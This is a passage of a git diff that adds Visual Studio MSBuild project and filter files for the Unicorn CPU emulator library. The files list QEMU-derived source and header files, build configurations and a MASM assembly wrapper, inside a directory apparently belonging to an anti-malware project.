Include="..\..\..\qemu\include\qemu\bitops.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\bswap.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\compiler.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\crc32c.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\host-utils.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\int128.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\log.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\module.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\notify.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\osdep.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\queue.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\range.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\thread-posix.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\thread-win32.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\thread.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\timer.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\typedefs.h" /> + <ClInclude Include="..\..\..\qemu\include\qom\cpu.h" /> + <ClInclude Include="..\..\..\qemu\include\qom\object.h" /> + <ClInclude Include="..\..\..\qemu\include\qom\qom-qobject.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\accel.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\cpus.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\memory_mapping.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\os-win32.h" /> + <ClInclude Include="..\..\..\qemu\include\sysemu\sysemu.h" /> + <ClInclude Include="..\..\..\qemu\vl.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="..\qapi-types.h" /> + <ClInclude Include="..\qapi-visit.h" /> + </ItemGroup> + <ItemGroup> + <MASM Include="..\..\..\qemu\util\setjmp-wrapper-win32.asm"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</ExcludedFromBuild> + </MASM> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/unicorn.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/unicorn.vcxproj.filters new file mode 100644 index 0000000..da3121f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/unicorn.vcxproj.filters @@ -0,0 +1,505 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="dllmain.cpp" /> + <ClCompile Include="..\..\..\list.c"> + <Filter>priv</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\accel.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\glib_compat.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qemu-log.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qemu-timer.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg-runtime.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\vl.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\aes.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\bitmap.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\bitops.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\crc32c.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\cutils.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\error.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\getauxval.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\host-utils.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\module.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\oslib-win32.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\qemu-error.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\qemu-thread-win32.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\util\qemu-timer-common.c"> + <Filter>qemu\util</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\core\machine.c"> + <Filter>qemu\hw\core</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\core\qdev.c"> + <Filter>qemu\hw\core</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\qapi-dealloc-visitor.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\qapi-visit-core.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\qmp-input-visitor.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\qmp-output-visitor.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qapi\string-input-visitor.c"> + <Filter>qemu\qapi</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qbool.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qdict.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qerror.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qfloat.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qint.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qlist.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qobject\qstring.c"> + <Filter>qemu\qobject</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qom\container.c"> + <Filter>qemu\qom</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qom\cpu.c"> + <Filter>qemu\qom</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qom\object.c"> + <Filter>qemu\qom</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\qom\qom-qobject.c"> + <Filter>qemu\qom</Filter> + </ClCompile> + <ClCompile Include="..\..\..\uc.c" /> + <ClCompile Include="..\qapi-types.c"> + <Filter>qemu</Filter> + </ClCompile> + <ClCompile Include="..\qapi-visit.c"> + <Filter>qemu</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <Filter Include="priv"> + <UniqueIdentifier>{1d58ccd1-7ea5-40e0-ba38-304ac34bf08e}</UniqueIdentifier> + </Filter> + <Filter Include="qemu"> + <UniqueIdentifier>{438f79b0-21e5-4a21-8e61-271b88a3130d}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\util"> + <UniqueIdentifier>{88e75519-13ca-431e-8b6d-d915d5e12231}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\hw"> + <UniqueIdentifier>{669d34d7-8f38-47ac-ac1b-1f485bc9d6eb}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\hw\core"> + <UniqueIdentifier>{2182308b-b1c8-4ac4-a779-c9d86c3cf97d}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\qapi"> + <UniqueIdentifier>{70273f5a-23c0-4274-acc8-0c398ec327e7}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\qobject"> + <UniqueIdentifier>{b84e89c5-c18f-4505-a2b9-b6cacbf97d1a}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\qom"> + <UniqueIdentifier>{c0e7454f-a22a-4410-87e9-bd8668a2fc5b}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include"> + <UniqueIdentifier>{0d15a173-37a6-4507-a128-de4316618e68}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\exec"> + <UniqueIdentifier>{fcbdd971-b481-4edc-a96a-3cdaeeadf2e9}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\fpu"> + <UniqueIdentifier>{01269629-99a8-41ee-9595-b1c745b1a044}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw"> + <UniqueIdentifier>{e1755d99-2324-43b4-9896-2400610e0b31}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\arm"> + <UniqueIdentifier>{daf8ad72-5390-43b2-8c7b-082ce1084aed}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\cpu"> + <UniqueIdentifier>{da199412-30ad-4c72-9a5a-a7b280c00021}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\i386"> + <UniqueIdentifier>{5f01eb28-ffe0-4371-a677-32ded26a33e2}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\m68k"> + <UniqueIdentifier>{dfebfef7-1435-4d09-89f6-94fb929f3488}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\mips"> + <UniqueIdentifier>{969bee88-382e-4c05-9205-074f24bdaf82}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\hw\sparc"> + <UniqueIdentifier>{7195ce60-b300-4dbe-8072-3e812167a036}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\qapi"> + <UniqueIdentifier>{0f13072a-571c-4c81-bef3-513758b38832}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\qapi\qmp"> + <UniqueIdentifier>{0ae19983-bbd0-448f-a319-574d45f59dfe}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\qemu"> + <UniqueIdentifier>{5653dd50-a557-4573-8f43-7ef26d0d4190}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\qom"> + <UniqueIdentifier>{36443fca-61fc-4f64-a872-2ddd3d823cb9}</UniqueIdentifier> + </Filter> + <Filter Include="qemu\include\sysemu"> + <UniqueIdentifier>{5e47a1c2-85ab-48d6-921e-8915438c2cbf}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\include\list.h"> + <Filter>priv</Filter> + </ClInclude> + <ClInclude Include="..\..\..\include\qemu.h"> + <Filter>priv</Filter> + </ClInclude> + <ClInclude Include="..\..\..\include\uc_priv.h"> + <Filter>priv</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\vl.h"> + <Filter>qemu</Filter> + </ClInclude> + <ClInclude Include="..\config-host.h"> + <Filter>qemu</Filter> + </ClInclude> + <ClInclude Include="..\qapi-types.h"> + <Filter>qemu</Filter> + </ClInclude> + <ClInclude Include="..\qapi-visit.h"> + <Filter>qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\config.h"> + <Filter>qemu\include</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\elf.h"> + <Filter>qemu\include</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\glib_compat.h"> + <Filter>qemu\include</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu-common.h"> + <Filter>qemu\include</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\address-spaces.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-all.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-common.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-defs.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cputlb.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu_ldst.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\cpu_ldst_template.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\exec-all.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\gen-icount.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\helper-gen.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\helper-head.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\helper-proto.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\helper-tcg.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\hwaddr.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\ioport.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\memory-internal.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\memory.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\poison.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\ram_addr.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\softmmu-semi.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\exec\spinlock.h"> + <Filter>qemu\include\exec</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\fpu\softfloat.h"> + <Filter>qemu\include\fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\boards.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\hw.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\irq.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\qdev-core.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\qdev.h"> + <Filter>qemu\include\hw</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\arm\arm.h"> + <Filter>qemu\include\hw\arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\cpu\icc_bus.h"> + <Filter>qemu\include\hw\cpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\i386\apic.h"> + <Filter>qemu\include\hw\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\i386\apic_internal.h"> + <Filter>qemu\include\hw\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\i386\pc.h"> + <Filter>qemu\include\hw\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\m68k\m68k.h"> + <Filter>qemu\include\hw\m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\m68k\mcf.h"> + <Filter>qemu\include\hw\m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\mips\bios.h"> + <Filter>qemu\include\hw\mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\mips\cpudevs.h"> + <Filter>qemu\include\hw\mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\mips\mips.h"> + <Filter>qemu\include\hw\mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\grlib.h"> + <Filter>qemu\include\hw\sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sparc.h"> + <Filter>qemu\include\hw\sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sparc32_dma.h"> + <Filter>qemu\include\hw\sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sun4m.h"> + <Filter>qemu\include\hw\sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\dealloc-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\error.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\opts-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp-input-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp-output-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\string-input-visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\visitor-impl.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\visitor.h"> + <Filter>qemu\include\qapi</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qbool.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qdict.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qerror.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qfloat.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qint.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qjson.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qlist.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qobject.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qstring.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\types.h"> + <Filter>qemu\include\qapi\qmp</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\aes.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\atomic.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\bitmap.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\bitops.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\bswap.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\compiler.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\crc32c.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\host-utils.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\int128.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\log.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\module.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\notify.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\osdep.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\queue.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\range.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\thread-posix.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\thread-win32.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\thread.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\timer.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qemu\typedefs.h"> + <Filter>qemu\include\qemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qom\cpu.h"> + <Filter>qemu\include\qom</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qom\object.h"> + <Filter>qemu\include\qom</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\qom\qom-qobject.h"> + <Filter>qemu\include\qom</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\accel.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\cpus.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\memory_mapping.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\os-win32.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\include\sysemu\sysemu.h"> + <Filter>qemu\include\sysemu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\include\unicorn\arm.h" /> + <ClInclude Include="..\..\..\include\unicorn\arm64.h" /> + <ClInclude Include="..\..\..\include\unicorn\m68k.h" /> + <ClInclude Include="..\..\..\include\unicorn\mips.h" /> + <ClInclude Include="..\..\..\include\unicorn\platform.h" /> + <ClInclude Include="..\..\..\include\unicorn\sparc.h" /> + <ClInclude Include="..\..\..\include\unicorn\unicorn.h" /> + <ClInclude Include="..\..\..\include\unicorn\x86.h" /> + </ItemGroup> + <ItemGroup> + <MASM Include="..\..\..\qemu\util\setjmp-wrapper-win32.asm" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn_static/unicorn_static.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn_static/unicorn_static.vcxproj new file mode 100644 index 0000000..f4e6cb6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn_static/unicorn_static.vcxproj @@ -0,0 +1,378 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\list.c" /> + <ClCompile Include="..\..\..\qemu\accel.c" /> + <ClCompile Include="..\..\..\qemu\glib_compat.c" /> + <ClCompile Include="..\..\..\qemu\hw\core\machine.c" /> + <ClCompile Include="..\..\..\qemu\hw\core\qdev.c" /> + <ClCompile Include="..\..\..\qemu\qapi\qapi-dealloc-visitor.c" /> + <ClCompile Include="..\..\..\qemu\qapi\qapi-visit-core.c" /> + <ClCompile Include="..\..\..\qemu\qapi\qmp-input-visitor.c" /> + <ClCompile Include="..\..\..\qemu\qapi\qmp-output-visitor.c" /> + <ClCompile Include="..\..\..\qemu\qapi\string-input-visitor.c" /> + <ClCompile Include="..\..\..\qemu\qemu-log.c" /> + <ClCompile Include="..\..\..\qemu\qemu-timer.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qbool.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qdict.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qerror.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qfloat.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qint.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qlist.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qstring.c" /> + <ClCompile Include="..\..\..\qemu\qom\container.c" /> + <ClCompile Include="..\..\..\qemu\qom\cpu.c" /> + <ClCompile Include="..\..\..\qemu\qom\object.c" /> + <ClCompile Include="..\..\..\qemu\qom\qom-qobject.c" /> + <ClCompile Include="..\..\..\qemu\tcg-runtime.c" /> + <ClCompile Include="..\..\..\qemu\util\aes.c" /> + <ClCompile Include="..\..\..\qemu\util\bitmap.c" /> + <ClCompile Include="..\..\..\qemu\util\bitops.c" /> + <ClCompile Include="..\..\..\qemu\util\crc32c.c" /> + <ClCompile Include="..\..\..\qemu\util\cutils.c" /> + <ClCompile Include="..\..\..\qemu\util\error.c" /> + <ClCompile Include="..\..\..\qemu\util\getauxval.c" /> + <ClCompile Include="..\..\..\qemu\util\host-utils.c" /> + <ClCompile Include="..\..\..\qemu\util\module.c" /> + <ClCompile Include="..\..\..\qemu\util\oslib-win32.c" /> + <ClCompile Include="..\..\..\qemu\util\qemu-error.c" /> + <ClCompile Include="..\..\..\qemu\util\qemu-thread-win32.c" /> + <ClCompile Include="..\..\..\qemu\util\qemu-timer-common.c" /> + <ClCompile Include="..\..\..\qemu\vl.c" /> + <ClCompile Include="..\..\..\uc.c" /> + <ClCompile Include="..\qapi-types.c" /> + <ClCompile Include="..\qapi-visit.c" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\include\list.h" /> + <ClInclude Include="..\..\..\include\qemu.h" /> + <ClInclude Include="..\..\..\include\uc_priv.h" /> + <ClInclude Include="..\..\..\include\unicorn\arm.h" /> + <ClInclude Include="..\..\..\include\unicorn\arm64.h" /> + <ClInclude Include="..\..\..\include\unicorn\m68k.h" /> + <ClInclude Include="..\..\..\include\unicorn\mips.h" /> + <ClInclude Include="..\..\..\include\unicorn\platform.h" /> + <ClInclude Include="..\..\..\include\unicorn\sparc.h" /> + <ClInclude Include="..\..\..\include\unicorn\unicorn.h" /> + <ClInclude Include="..\..\..\include\unicorn\x86.h" /> + <ClInclude Include="..\..\..\qemu\include\config.h" /> + <ClInclude Include="..\..\..\qemu\include\elf.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\address-spaces.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-all.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-common.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-defs.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cputlb.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu_ldst.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu_ldst_template.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\exec-all.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\gen-icount.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\helper-gen.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\helper-head.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\helper-proto.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\helper-tcg.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\hwaddr.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\ioport.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\memory-internal.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\memory.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\poison.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\ram_addr.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\softmmu-semi.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\spinlock.h" /> + <ClInclude Include="..\..\..\qemu\include\fpu\softfloat.h" /> + <ClInclude Include="..\..\..\qemu\include\glib_compat.h" /> + <ClInclude 